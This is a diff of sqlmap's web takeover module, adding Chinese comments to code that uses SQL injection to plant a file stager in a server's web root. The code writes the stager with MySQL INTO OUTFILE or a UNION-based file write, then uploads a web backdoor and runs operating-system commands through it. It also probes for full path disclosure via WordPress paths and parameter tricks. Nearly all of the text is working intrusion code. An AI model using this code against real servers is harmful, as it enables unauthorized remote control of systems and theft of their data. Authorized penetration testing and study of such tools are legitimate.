@ -5,76 +5,90 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file ' LICENSE ' for copying permission
"""
# 导入所需的标准库
import io
import os
import posixpath
import re
import tempfile
from extra . cloak . cloak import decloak
from lib . core . agent import agent
from lib . core . common import arrayizeValue
from lib . core . common import Backend
from lib . core . common import extractRegexResult
from lib . core . common import getAutoDirectories
from lib . core . common import getManualDirectories
from lib . core . common import getPublicTypeMembers
from lib . core . common import getSQLSnippet
from lib . core . common import getTechnique
from lib . core . common import getTechniqueData
from lib . core . common import isDigit
from lib . core . common import isTechniqueAvailable
from lib . core . common import isWindowsDriveLetterPath
from lib . core . common import normalizePath
from lib . core . common import ntToPosixSlashes
from lib . core . common import openFile
from lib . core . common import parseFilePaths
from lib . core . common import posixToNtSlashes
from lib . core . common import randomInt
from lib . core . common import randomStr
from lib . core . common import readInput
from lib . core . common import singleTimeWarnMessage
from lib . core . compat import xrange
from lib . core . convert import encodeHex
from lib . core . convert import getBytes
from lib . core . convert import getText
from lib . core . convert import getUnicode
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
from lib . core . data import paths
from lib . core . datatype import OrderedSet
from lib . core . enums import DBMS
from lib . core . enums import HTTP_HEADER
from lib . core . enums import OS
from lib . core . enums import PAYLOAD
from lib . core . enums import PLACE
from lib . core . enums import WEB_PLATFORM
from lib . core . exception import SqlmapNoneDataException
from lib . core . settings import BACKDOOR_RUN_CMD_TIMEOUT
from lib . core . settings import EVENTVALIDATION_REGEX
from lib . core . settings import SHELL_RUNCMD_EXE_TAG
from lib . core . settings import SHELL_WRITABLE_DIR_TAG
from lib . core . settings import VIEWSTATE_REGEX
from lib . request . connect import Connect as Request
from thirdparty . six . moves import urllib as _urllib
# 导入自定义模块和第三方库
from extra . cloak . cloak import decloak # 用于解密混淆的文件
from lib . core . agent import agent # SQL注入代理模块
from lib . core . common import arrayizeValue # 将值转换为数组
from lib . core . common import Backend # 后端DBMS信息
from lib . core . common import extractRegexResult # 正则提取结果
from lib . core . common import getAutoDirectories # 获取自动检测的目录
from lib . core . common import getManualDirectories # 获取手动指定的目录
from lib . core . common import getPublicTypeMembers # 获取类的公共成员
from lib . core . common import getSQLSnippet # 获取SQL代码片段
from lib . core . common import getTechnique # 获取注入技术
from lib . core . common import getTechniqueData # 获取注入技术数据
from lib . core . common import isDigit # 判断是否为数字
from lib . core . common import isTechniqueAvailable # 判断注入技术是否可用
from lib . core . common import isWindowsDriveLetterPath # 判断是否为Windows驱动器路径
from lib . core . common import normalizePath # 规范化路径
from lib . core . common import ntToPosixSlashes # Windows路径转POSIX路径
from lib . core . common import openFile # 打开文件
from lib . core . common import parseFilePaths # 解析文件路径
from lib . core . common import posixToNtSlashes # POSIX路径转Windows路径
from lib . core . common import randomInt # 生成随机整数
from lib . core . common import randomStr # 生成随机字符串
from lib . core . common import readInput # 读取用户输入
from lib . core . common import singleTimeWarnMessage # 单次警告消息
from lib . core . compat import xrange # 兼容Python2/3的range
from lib . core . convert import encodeHex # 十六进制编码
from lib . core . convert import getBytes # 获取字节串
from lib . core . convert import getText # 获取文本
from lib . core . convert import getUnicode # 获取Unicode字符串
from lib . core . data import conf # 配置数据
from lib . core . data import kb # 知识库数据
from lib . core . data import logger # 日志记录器
from lib . core . data import paths # 路径信息
from lib . core . datatype import OrderedSet # 有序集合
from lib . core . enums import DBMS # 数据库管理系统枚举
from lib . core . enums import HTTP_HEADER # HTTP头部枚举
from lib . core . enums import OS # 操作系统枚举
from lib . core . enums import PAYLOAD # 载荷类型枚举
from lib . core . enums import PLACE # 注入位置枚举
from lib . core . enums import WEB_PLATFORM # Web平台枚举
from lib . core . exception import SqlmapNoneDataException # sqlmap异常类
from lib . core . settings import BACKDOOR_RUN_CMD_TIMEOUT # 后门命令执行超时设置
from lib . core . settings import EVENTVALIDATION_REGEX # ASP.NET事件验证正则
from lib . core . settings import SHELL_RUNCMD_EXE_TAG # Shell运行命令可执行文件标签
from lib . core . settings import SHELL_WRITABLE_DIR_TAG # Shell可写目录标签
from lib . core . settings import VIEWSTATE_REGEX # ASP.NET视图状态正则
from lib . request . connect import Connect as Request # HTTP请求类
from thirdparty . six . moves import urllib as _urllib # URL处理库
class Web ( object ) :
"""
This class defines web - oriented OS takeover functionalities for
plugins.
这个类定义了Web相关的操作系统接管功能。
主要用于上传和执行Web后门, 实现对目标系统的远程控制 。
"""
def __init__ ( self ) :
self . webPlatform = None
self . webBaseUrl = None
self . webBackdoorUrl = None
self . webBackdoorFilePath = None
self . webStagerUrl = None
self . webStagerFilePath = None
self . webDirectory = None
"""
初始化Web类的属性
"""
self . webPlatform = None # Web平台类型(PHP/ASP/ASPX等)
self . webBaseUrl = None # Web根URL
self . webBackdoorUrl = None # 后门URL
self . webBackdoorFilePath = None # 后门文件路径
self . webStagerUrl = None # 文件上传器URL
self . webStagerFilePath = None # 文件上传器路径
self . webDirectory = None # Web目录
def webBackdoorRunCmd ( self , cmd ) :
"""
通过Web后门执行系统命令
参数 :
cmd : 要执行的命令
返回 :
命令执行的输出结果
"""
if self . webBackdoorUrl is None :
return
@ -83,10 +97,13 @@ class Web(object):
if not cmd :
cmd = conf . osCmd
# 构造命令执行URL
cmdUrl = " %s ?cmd= %s " % ( self . webBackdoorUrl , getUnicode ( cmd ) )
# 发送请求执行命令
page , _ , _ = Request . getPage ( url = cmdUrl , direct = True , silent = True , timeout = BACKDOOR_RUN_CMD_TIMEOUT )
if page is not None :
# 从响应中提取命令输出
output = re . search ( r " <pre>(.+?)</pre> " , page , re . I | re . S )
if output :
@ -95,18 +112,30 @@ class Web(object):
return output
def webUpload ( self , destFileName , directory , stream = None , content = None , filepath = None ) :
"""
上传文件到目标服务器
参数 :
destFileName : 目标文件名
directory : 目标目录
stream : 文件流对象
content : 文件内容
filepath : 本地文件路径
返回 :
上传是否成功
"""
if filepath is not None :
if filepath . endswith ( ' _ ' ) :
content = decloak ( filepath ) # cloaked file
content = decloak ( filepath ) # 解密混淆文件
else :
with openFile ( filepath , " rb " , encoding = None ) as f :
content = f . read ( )
if content is not None :
stream = io . BytesIO ( getBytes ( content ) ) # string content
stream = io . BytesIO ( getBytes ( content ) ) # 将内容转换为字节流
# Reference: https://github.com/sqlmapproject/sqlmap/issues/3560
# Reference: https://stackoverflow.com/a/4677542
# 设置流的长度属性
stream . seek ( 0 , os . SEEK_END )
stream . len = stream . tell ( )
stream . seek ( 0 , os . SEEK_SET )
@ -114,7 +143,18 @@ class Web(object):
return self . _webFileStreamUpload ( stream , destFileName , directory )
def _webFileStreamUpload ( self , stream , destFileName , directory ) :
stream . seek ( 0 ) # Rewind
"""
通过文件流上传文件的内部方法
参数 :
stream : 文件流对象
destFileName : 目标文件名
directory : 目标目录
返回 :
上传是否成功
"""
stream . seek ( 0 ) # 重置流位置
try :
setattr ( stream , " name " , destFileName )
@ -122,16 +162,19 @@ class Web(object):
pass
if self . webPlatform in getPublicTypeMembers ( WEB_PLATFORM , True ) :
# 构造多部分表单数据
multipartParams = {
" upload " : " 1 " ,
" file " : stream ,
" uploadDir " : directory ,
}
# 对ASP.NET平台添加特殊参数
if self . webPlatform == WEB_PLATFORM . ASPX :
multipartParams [ ' __EVENTVALIDATION ' ] = kb . data . __EVENTVALIDATION
multipartParams [ ' __VIEWSTATE ' ] = kb . data . __VIEWSTATE
# 发送上传请求
page , _ , _ = Request . getPage ( url = self . webStagerUrl , multipart = multipartParams , raise404 = False )
if " File uploaded " not in ( page or " " ) :
@ -146,10 +189,22 @@ class Web(object):
return False
def _webFileInject ( self , fileContent , fileName , directory ) :
"""
通过SQL注入写入文件的内部方法
参数 :
fileContent : 文件内容
fileName : 文件名
directory : 目标目录
返回 :
注入结果页面
"""
outFile = posixpath . join ( ntToPosixSlashes ( directory ) , fileName )
uplQuery = getUnicode ( fileContent ) . replace ( SHELL_WRITABLE_DIR_TAG , directory . replace ( ' / ' , ' \\ \\ ' ) if Backend . isOs ( OS . WINDOWS ) else directory )
query = " "
# 根据注入技术构造查询
if isTechniqueAvailable ( getTechnique ( ) ) :
where = getTechniqueData ( ) . where
@ -157,8 +212,9 @@ class Web(object):
randInt = randomInt ( )
query + = " OR %d = %d " % ( randInt , randInt )
# 构造写文件的SQL语句
query + = getSQLSnippet ( DBMS . MYSQL , " write_file_limit " , OUTFILE = outFile , HEXSTRING = encodeHex ( uplQuery , binary = False ) )
query = agent . prefixQuery ( query ) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
query = agent . prefixQuery ( query )
payload = agent . payload ( newValue = query )
page = Request . queryPage ( payload )
@ -166,26 +222,32 @@ class Web(object):
def webInit ( self ) :
"""
This method is used to write a web backdoor ( agent ) on a writable
remote directory within the web server document root .
初始化Web后门
该方法用于在Web服务器的可写目录中写入Web后门( 代理 )
"""
# 如果已经初始化过,直接返回
if self . webBackdoorUrl is not None and self . webStagerUrl is not None and self . webPlatform is not None :
return
# 检查数据库和操作系统类型
self . checkDbmsOs ( )
# 确定Web平台类型
default = None
choices = list ( getPublicTypeMembers ( WEB_PLATFORM , True ) )
# 根据URL后缀猜测Web平台
for ext in choices :
if conf . url . endswith ( ext ) :
default = ext
break
# 如果无法猜测,根据操作系统设置默认值
if not default :
default = WEB_PLATFORM . ASP if Backend . isOs ( OS . WINDOWS ) else WEB_PLATFORM . PHP
# 提示用户选择Web平台
message = " which web application language does the web server "
message + = " support? \n "
@ -198,6 +260,7 @@ class Web(object):
message = message [ : - 1 ]
# 获取用户输入的Web平台选择
while True :
choice = readInput ( message , default = str ( default ) )
@ -211,6 +274,7 @@ class Web(object):
self . webPlatform = choices [ int ( choice ) - 1 ]
break
# 尝试获取完整的文件路径信息
if not kb . absFilePaths :
message = " do you want sqlmap to further try to "
message + = " provoke the full path disclosure? [Y/n] "
@ -219,6 +283,7 @@ class Web(object):
headers = { }
been = set ( [ conf . url ] )
# 尝试访问WordPress相关路径
for match in re . finditer ( r " =[ ' \" ]((https?):)?(//[^/ ' \" ]+)?(/[ \ w/.-]*) \ bwp- " , kb . originalPage or " " , re . I ) :
url = " %s %s " % ( conf . url . replace ( conf . path , match . group ( 4 ) ) , " wp-content/wp-db.php " )
if url not in been :
@ -230,6 +295,7 @@ class Web(object):
finally :
been . add ( url )
# 尝试访问带~的URL
url = re . sub ( r " ( \ . \ w+) \ Z " , r " ~ \ g<1> " , conf . url )
if url not in been :
try :
@ -240,6 +306,7 @@ class Web(object):
finally :
been . add ( url )
# 尝试不同的参数注入方式
for place in ( PLACE . GET , PLACE . POST ) :
if place in conf . parameters :
value = re . sub ( r " ( \ A|&)( \ w+)= " , r " \ g<2>[]= " , conf . parameters [ place ] )
@ -247,6 +314,7 @@ class Web(object):
page , headers , _ = Request . queryPage ( value = value , place = place , content = True , raise404 = False , silent = True , noteResponseTime = False )
parseFilePaths ( page )
# 尝试Cookie注入
cookie = None
if PLACE . COOKIE in conf . parameters :
cookie = conf . parameters [ PLACE . COOKIE ]
@ -264,10 +332,12 @@ class Web(object):
page , _ , _ = Request . queryPage ( value = value , place = PLACE . COOKIE , content = True , raise404 = False , silent = True , noteResponseTime = False )
parseFilePaths ( page )
# 获取可能的目标目录列表
directories = list ( arrayizeValue ( getManualDirectories ( ) ) )
directories . extend ( getAutoDirectories ( ) )
directories = list ( OrderedSet ( directories ) )
# 处理URL路径
path = _urllib . parse . urlparse ( conf . url ) . path or ' / '
path = re . sub ( r " /[^/]* \ . \ w+ \ Z " , ' / ' , path )
if path != ' / ' :
@ -278,33 +348,39 @@ class Web(object):
_ . append ( " %s / %s " % ( directory . rstrip ( ' / ' ) , path . strip ( ' / ' ) ) )
directories = _
# 生成后门文件名和内容
backdoorName = " tmpb %s . %s " % ( randomStr ( lowercase = True ) , self . webPlatform )
backdoorContent = getText ( decloak ( os . path . join ( paths . SQLMAP_SHELL_PATH , " backdoors " , " backdoor. %s _ " % self . webPlatform ) ) )
# 获取文件上传器内容
stagerContent = getText ( decloak ( os . path . join ( paths . SQLMAP_SHELL_PATH , " stagers " , " stager. %s _ " % self . webPlatform ) ) )
# 遍历目录尝试上传后门
for directory in directories :
if not directory :
continue
# 生成上传器文件名和路径
stagerName = " tmpu %s . %s " % ( randomStr ( lowercase = True ) , self . webPlatform )
self . webStagerFilePath = posixpath . join ( ntToPosixSlashes ( directory ) , stagerName )
uploaded = False
directory = ntToPosixSlashes ( normalizePath ( directory ) )
# 规范化目录路径
if not isWindowsDriveLetterPath ( directory ) and not directory . startswith ( ' / ' ) :
directory = " / %s " % directory
if not directory . endswith ( ' / ' ) :
directory + = ' / '
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
# 尝试通过LIMIT方法上传文件上传器
infoMsg = " trying to upload the file stager on ' %s ' " % directory
infoMsg + = " via LIMIT ' LINES TERMINATED BY ' method "
logger . info ( infoMsg )
self . _webFileInject ( stagerContent , stagerName , directory )
# 检查上传器是否可访问
for match in re . finditer ( ' / ' , directory ) :
self . webBaseUrl = " %s :// %s : %d %s / " % ( conf . scheme , conf . hostname , conf . port , directory [ match . start ( ) : ] . rstrip ( ' / ' ) )
self . webStagerUrl = _urllib . parse . urljoin ( self . webBaseUrl , stagerName )
@ -318,7 +394,7 @@ class Web(object):
uploaded = True
break
# Fall-back to UNION queries file upload method
# 如果LIMIT方法失败,尝试使用UNION查询方法
if not uploaded :
warnMsg = " unable to upload the file stager "
warnMsg + = " on ' %s ' " % directory
@ -332,16 +408,20 @@ class Web(object):
stagerName = " tmpu %s . %s " % ( randomStr ( lowercase = True ) , self . webPlatform )
self . webStagerFilePath = posixpath . join ( ntToPosixSlashes ( directory ) , stagerName )
# 创建临时文件
handle , filename = tempfile . mkstemp ( )
os . close ( handle )
# 写入上传器内容
with openFile ( filename , " w+b " ) as f :
_ = getText ( decloak ( os . path . join ( paths . SQLMAP_SHELL_PATH , " stagers " , " stager. %s _ " % self . webPlatform ) ) )
_ = _ . replace ( SHELL_WRITABLE_DIR_TAG , directory . replace ( ' / ' , ' \\ \\ ' ) if Backend . isOs ( OS . WINDOWS ) else directory )
f . write ( _ )
# 通过UNION查询上传文件
self . unionWriteFile ( filename , self . webStagerFilePath , " text " , forceCheck = True )
# 检查上传器是否可访问
for match in re . finditer ( ' / ' , directory ) :
self . webBaseUrl = " %s :// %s : %d %s / " % ( conf . scheme , conf . hostname , conf . port , directory [ match . start ( ) : ] . rstrip ( ' / ' ) )
self . webStagerUrl = _urllib . parse . urljoin ( self . webBaseUrl , stagerName )
@ -359,12 +439,14 @@ class Web(object):
if not uploaded :
continue
# 检查上传器是否被正确解释执行
if " < % " in uplPage or " <? " in uplPage :
warnMsg = " file stager uploaded on ' %s ' , " % directory
warnMsg + = " but not dynamically interpreted "
logger . warning ( warnMsg )
continue
# 处理ASP.NET特殊参数
elif self . webPlatform == WEB_PLATFORM . ASPX :
kb . data . __EVENTVALIDATION = extractRegexResult ( EVENTVALIDATION_REGEX , uplPage )
kb . data . __VIEWSTATE = extractRegexResult ( VIEWSTATE_REGEX , uplPage )
@ -373,6 +455,7 @@ class Web(object):
infoMsg + = " on ' %s ' - %s " % ( directory , self . webStagerUrl )
logger . info ( infoMsg )
# 处理ASP平台特殊情况
if self . webPlatform == WEB_PLATFORM . ASP :
match = re . search ( r ' input type=hidden name=scriptsdir value= " ([^ " ]+) " ' , uplPage )
@ -381,6 +464,7 @@ class Web(object):
else :
continue
# 上传后门和命令执行组件
_ = " tmpe %s .exe " % randomStr ( lowercase = True )
if self . webUpload ( backdoorName , backdoorDirectory , content = backdoorContent . replace ( SHELL_WRITABLE_DIR_TAG , backdoorDirectory ) . replace ( SHELL_RUNCMD_EXE_TAG , _ ) ) :
self . webUpload ( _ , backdoorDirectory , filepath = os . path . join ( paths . SQLMAP_EXTRAS_PATH , " runcmd " , " runcmd.exe_ " ) )
@ -390,6 +474,7 @@ class Web(object):
continue
else :
# 上传后门文件
if not self . webUpload ( backdoorName , posixToNtSlashes ( directory ) if Backend . isOs ( OS . WINDOWS ) else directory , content = backdoorContent ) :
warnMsg = " backdoor has not been successfully uploaded "
warnMsg + = " through the file stager possibly because "
@ -401,6 +486,7 @@ class Web(object):
warnMsg + = " different servers "
logger . warning ( warnMsg )
# 询问是否使用相同方法重试
message = " do you want to try the same method used "
message + = " for the file stager? [Y/n] "
@ -414,6 +500,7 @@ class Web(object):
self . webBackdoorFilePath = posixpath . join ( ntToPosixSlashes ( directory ) , backdoorName )
# 测试后门是否可用
testStr = " command execution test "
output = self . webBackdoorRunCmd ( " echo %s " % testStr )